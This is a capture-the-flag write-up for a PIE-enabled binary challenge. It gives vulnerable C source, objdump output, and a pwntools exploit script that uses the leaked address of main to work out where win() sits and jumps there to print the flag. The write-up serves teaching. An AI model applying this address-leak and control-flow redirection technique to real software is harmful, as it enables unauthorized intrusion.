PIE Time

Author: Darkraicg492

Description - Can you try to get the flag? Beware we have PIE! Additional details will be available after launching your challenge instance.

In this challenge we have given two files vuln.c and a compiled binary with PIE-enabled

We can check this using checksec command -


$ checksec vuln
[*] '/mnt/d/work/picoctf/pie-time/vuln'
    Arch:       amd64-64-little
    RELRO:      Full RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        PIE enabled
    SHSTK:      Enabled
    IBT:        Enabled
    Stripped:   No

The vuln binary is compiled with PIE enabled.

What is PIE?

PIE stands for Position Independent Executable. It’s a compiler feature that makes a program’s code segment (the .text section) load at a random address in memory every time the program is run.

In other words, the base address of the binary changes each time, just like shared libraries under ASLR (Address Space Layout Randomization).

Why PIE Matters in Exploitation

In binaries without PIE, the code segment is loaded at a fixed address. That means:

  • Function addresses (like main() or win()) are always the same.
  • You can hardcode return addresses or ROP gadgets.
  • Exploitation is easier.

In PIE-enabled binaries:

  • The code segment is loaded at a random base address.
  • You can’t hardcode absolute addresses.
  • You must first leak an address and calculate the offset.

Now given vuln.c code is -


#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>

void segfault_handler() {
  printf("Segfault Occurred, incorrect address.\n");
  exit(0);
}

int win() {
  FILE *fptr;
  char c;

  printf("You won!\n");
  // Open file
  fptr = fopen("flag.txt", "r");
  if (fptr == NULL)
  {
      printf("Cannot open file.\n");
      exit(0);
  }

  // Read contents from file
  c = fgetc(fptr);
  while (c != EOF)
  {
      printf ("%c", c);
      c = fgetc(fptr);
  }

  printf("\n");
  fclose(fptr);
}

int main() {
  signal(SIGSEGV, segfault_handler);
  setvbuf(stdout, NULL, _IONBF, 0); // _IONBF = Unbuffered

  printf("Address of main: %p\n", &main);

  unsigned long val;
  printf("Enter the address to jump to, ex => 0x12345: ");
  scanf("%lx", &val);
  printf("Your input: %lx\n", val);

  void (*foo)(void) = (void (*)())val;
  foo();
}

The main function taking input address and will call the function at that memory address.

The win function here is printing the flag from a file flag.txt, which is most prolly on the remote server

To test our exploit locally, we’ll create a dummy flag.txt file with a fake flag:

## flag.txt

flag{REDACTED}

Now the exploit here is to pass address of win function in the input and hence the flag from flag.txt will get printed

Let’s first calculate the offset for win function as PIE is enabled relative addressing of function remains same.

We’ll use objdump to disassemble the binary and find the relative offsets of main and win.


$ objdump -d vuln | grep main
    11c1:       48 8d 3d 75 01 00 00    lea    0x175(%rip),%rdi        # 133d <main>
    11c8:       ff 15 12 2e 00 00       call   *0x2e12(%rip)        # 3fe0 <__libc_start_main@GLIBC_2.2.5>
000000000000133d <main>:
    1387:       48 8d 35 af ff ff ff    lea    -0x51(%rip),%rsi        # 133d <main>
    1400:       74 05                   je     1407 <main+0xca>

$ objdump -d vuln | grep win 
00000000000012a7 <win>:
    12db:       75 16                   jne    12f3 <win+0x4c>
    1302:       eb 1a                   jmp    131e <win+0x77>
    1322:       75 e0                   jne    1304 <win+0x5d>

Now main function at 0x0133d and win fucntion is at 0x012a7

So hence we’ll calculate the offset as

MAIN_ADDR - WIN_ADDR = OFFSET
0x0133d - 0x012a7 = 0x96

Hence offset is 0x96.

Now what we’ll do is use this calculate the actual memory address of win function with the giving actual memory address of main function.

The main address printed by the binary is its actual runtime address. Since PIE is enabled, this will change each time. But the offset between main and win stays the same, which allows us to compute the address of win

WIN_MEMORY_ADDR = MAIN_MEMORY - OFFSET
WIN_MEMORY_ADDR = MAIN_MEMORY - 0x96

Hence we’ll get our win memory address which can be passed as input to get the flag.

We can automate this using a pwntools python script -



from pwn import *

# Load the ELF binary
binary = ELF('./vuln')  # replace with your binary name


HOST = "..."
PORT = "..."
# p = remote(HOST, PORT)  # replace with your remote server address and port
p = process("./vuln")

p.recvuntil(b"main: ")
main_memory = int(p.recvline().strip(), 16)
print(f"main: {hex(main_memory)}")

main_addr = binary.symbols["main"]
print(f"[*] Address of main: {hex(main_addr)}")

win_addr = binary.symbols["win"]
print(f"[*] Address of win: {hex(win_addr)}")

offset = main_addr - win_addr

print(f"[*] Offset: {hex(offset)}")

print(f"[*] Performing {hex(main_memory)} - {hex(offset)}")
win_memory = main_memory - offset
print(f"[*] got win memory: {hex(win_memory)}")

p.recvuntil(b"Enter the address to jump to, ex => 0x12345: ")
p.sendline(hex(win_memory).encode())
p.interactive()

Running this will output -


$ python3 sol.py
[*] '/mnt/d/work/picoctf/pie-time/vuln'
    Arch:       amd64-64-little
    RELRO:      Full RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        PIE enabled
    SHSTK:      Enabled
    IBT:        Enabled
    Stripped:   No
[+] Starting local process './vuln': pid 3810
main: 0x5600562ae33d
[*] Address of main: 0x133d
[*] Address of win: 0x12a7
[*] Offset: 0x96
[*] Performing 0x5600562ae33d - 0x96
[*] got win memory: 0x5600562ae2a7
[*] Switching to interactive mode
Your input: 5600562ae2a7
You won!
flag{REDACTED}
[*] Process './vuln' stopped with exit code 0 (pid 3810)
[*] Got EOF while reading in interactive

Hurray!! We got our flag by exploiting local executable, you can do similar to get the real flag by replacing HOST and PORT of remote server that you started.